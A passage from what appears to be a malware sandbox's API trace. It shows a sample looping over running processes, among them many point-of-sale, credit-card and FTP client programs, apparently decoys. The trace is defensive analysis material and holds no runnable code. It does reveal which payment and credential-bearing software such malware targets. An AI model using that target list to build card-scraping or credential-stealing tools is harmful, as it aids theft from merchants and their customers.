(in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0109.829] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0109.848] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0109.851] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0109.854] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0109.857] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0109.860] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0109.863] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0109.866] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0109.868] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0109.871] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0109.874] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0109.876] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0109.879] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0109.882] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0109.884] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0109.887] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0109.889] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0109.891] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0109.898] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0109.901] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.903] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.906] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0109.908] CloseHandle (hObject=0x1008) returned 1 [0109.908] Sleep (dwMilliseconds=0x64) [0110.020] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1970 [0110.054] Process32First (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.057] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.059] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.062] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.064] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.067] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.069] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.072] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.074] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.076] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.079] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.085] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.088] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.090] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.092] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.095] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.097] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.100] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.102] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.104] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.106] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0110.109] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.111] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0110.113] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.116] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.118] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.120] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0110.122] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0110.124] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.126] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0110.127] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0110.131] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.133] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0110.135] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0110.137] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0110.139] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0110.140] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0110.142] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0110.145] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0110.147] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0110.148] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0110.150] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0110.152] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0110.153] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0110.155] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0110.157] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0110.159] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0110.161] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0110.162] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0110.164] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0110.165] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0110.167] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0110.169] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0110.170] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0110.172] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0110.173] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0110.176] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0110.178] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0110.179] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0110.181] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0110.183] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0110.185] Process32Next (in: hSnapshot=0x1970, 